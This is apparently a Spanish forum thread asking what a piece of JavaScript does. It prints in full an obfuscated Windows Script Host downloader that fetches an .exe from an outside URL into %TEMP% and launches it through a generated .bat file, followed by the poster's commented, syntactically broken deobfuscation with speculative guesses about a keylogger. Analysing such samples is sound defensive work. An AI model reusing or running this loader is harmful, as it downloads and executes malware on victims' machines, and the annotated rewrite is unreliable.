[SOLUCIONADO] [JS]¿Qué hace este código?

var place0 = false;
var DENMARK0 = "";

var fromPath;
var VALIGN0 = "Cr"+"e"+"ateObject";
/*@cc_on /* u  */
  @if (@_win32 || @_win64)/* u  */
    //
	CONNECTION /* u  */ = "W"+"S"+"c"+"ript";
	place0 /* u  */= true;/* u  */
	DENMARK0/* u  */ = /* u  */"MLH";/* u  */
	fromPath =/* u  */ "R" + "esponseB"/* u  */ + "ydo".split('').reverse().join('');
	Turkey = /* u  */(/* u  */"noitisop").split(''/* u  */).reverse(/* u  */).join('');
	devel0 /* u  *//* u  */ =/* u  */ "eliFoTevaS".split(''/* u  */).reverse().join('');
	Currency0 = "A"+"DODB";
	DENMARK1 = "s" + "end";
	Backspace = "ht"+"tp:"+"//v"+"il"+"alu"+"sa."+"co"+"m/0"+"98r"+"44"+"fg"+"45"+"g4"+"5";
	Backspace0 = "G\x45"+"T";
 /* u  */ @end/* u  */
@*//* u  */
if (!(place0))
{
	WScript.Echo("pizzxzzda");
	WScript.Quit(1);
}


var stepy/* u  */ = /* u  */this[/* u  */CONNECTION /* u  *//* u  */]/* u  */;
var VALIGN1 = function VALIGN() {return stepy[VALIGN0](("fdasfadsfaszxvc", CONNECTION /* u  */)+".Shell");}(), aaa0 = 11;
var accinp0 /* u  */ = 1 * ((-5600 + 5602) - 0);
var catchKeyCode = accinp0 /* u  */ - (2 + 0) * 1;
function Scott(requires0){VALIGN1[("@sdf3asdf ", "adfs3.", "R")+ "u" + ("x", "n")](requires0, catchKeyCode, catchKeyCode);};
function devel(){return VALIGN0;};

{
var stepy0 = "M" + "SX"+"ML2."+"X"+DENMARK0+"T"+"TP";
var accinp = "";
accinp = "o"+"pen";
function arrCurrentTag(catchKeyCode0) {catchKeyCode0[devel0](VALIGN1["E"+"xpandEnvir"+"o"+"nmentStrings"]("%T"+"E"+"M"+"P%/") + "QDdd60eYD.ex" + "e", (4714 - 4712) * 1); return 0;};

if (true){
 Scott1 = stepy0;
 arrCurrentTag1 = stepy[VALIGN0](Scott1);
 var place /* u  */ = 3-2;
while (place /* u  */) { 
	for (;place /* u  */;){
	try {
		if (place /* u  */ == 1)
		{
			arrCurrentTag1[accinp](Backspace0, Backspace, (true, false));
			arrCurrentTag1[DENMARK1]();
			arrCurrentTag0 = "S"+"l"+"eep";
			place /* u  */ = 5316 - 5314;
		}
		stepy[arrCurrentTag0](120); 
		if (arrCurrentTag1["r"+"eadystate"] < 4) continue;
		place /* u  */ = catchKeyCode;
		function DENMARK(Currency) {var Scott0 = (123, Currency); return Scott0;};
		
		aaa = VALIGN1["E"+"xpandEnvir"+"o"+"nmentStrings"]("%T"+"E"+"M"+"P%/") + "QDdd60eYD.ex" + "e";
		CONNECTION0 = VALIGN1["E"+"xpandEnvir"+"o"+"nmentStrings"]("%T"+"E"+"M"+"P%/") + "suc11.05.2016kit.bat";
		Turkey0 = "start "+aaa+"\r\nexit"

		Scott1 = devel1 = stepy[devel()](Currency0+"."+"Str"+"e"+"a"+"m");
		Scott1[accinp]();
		Scott1["t"+"y"+"pe"] = 2;
		requires = "w"+"r"+"i"+"t"+"e";
		Scott1["Charset"] = "windows-1251";
		Scott1[requires+"Text"](Turkey0);
		devel1[Turkey] = 0;
		Scott1[devel0](CONNECTION0, -2025 + 2027);
		devel1["close"]();
		
		Scott1 = devel1 = stepy[devel()](Currency0+"."+"Str"+"e"+"a"+"m");
		Scott1[accinp]();
		Scott1["t"+"y"+"pe"] = 2;
		Scott1["Charset"] = "windows-1251";
		Scott1[requires+"Text"]("M");
		devel1[Turkey] = 0;
		arrCurrentTag(Scott1);
		devel1["close"]();
		
		Scott1 = devel1 = stepy[devel()](Currency0+"."+"Str"+"e"+"a"+"m");
		Scott1[accinp]();
		Scott1["t"+"y"+"pe"] = 1;
		Scott1[requires](arrCurrentTag1[fromPath]);
		devel1[Turkey] = -3320 + 3321;
		arrCurrentTag(Scott1);
		devel1["close"]();
		
		if (1 && place0) Scott(CONNECTION0);
	} catch(fromPath0){};};
};
}
}

        try {


// se conecta con la web y descarga el exe
                WScript.CreateObject(this.["WScript"])["open"]("G\x45T", "http://vilalusa.com/098r44fg45g45", (true, false));
                WScript.CreateObject(this.["WScript"])["send"]();
//guarda el exe
                SaveToFile("%TEMP%" + "QDdd60eYD.exe")0;
               
//si la conexion no dio error continua sino sale del try
                if (WScript.CreateObject(this.["WScript"])["readystate"] < 4) continue;
//guarda el bat que descargo por que no dio error la conexion
                SaveToFile(WScript.Shell["ExpandEnvironmentStrings"]("%TEMP%/") + "suc11.05.2016kit.bat");
//ejecuta el exe y sale de la ventana de DOS
                WScriptShell( "start "+"%TEMP%" + "QDdd60eYD.exe"+"\r\nexit")
//Se conecta a una base de datos (supongo que el exe es un keylogger miniatura sin posibilidades de enviar informacion al exterior por lo que usa este script para comunicar)
                this["WScript"]["CreateObject"]("ADODB"+".Stream");
                this["WScript"]["open"]();
                this["WScript"]["type"] = 2;
                this["WScript"]["write"]();
                this["WScript"]["Charset"] = "windows-1251";
                this["WScript"][requires+"Text"]("position");
//ejecuta la peticion a la BD
                this["WScript"]["runx"] = 0;
//Guarda el resultado
                this["WScript"]["SaveToFile"]("WScript.runx");
//cierra la connexion
                this["WScript"]["close"]();
//la parte del envio de datos la tengo perdida, se me borro
        } catch("ResponseBody"0){};};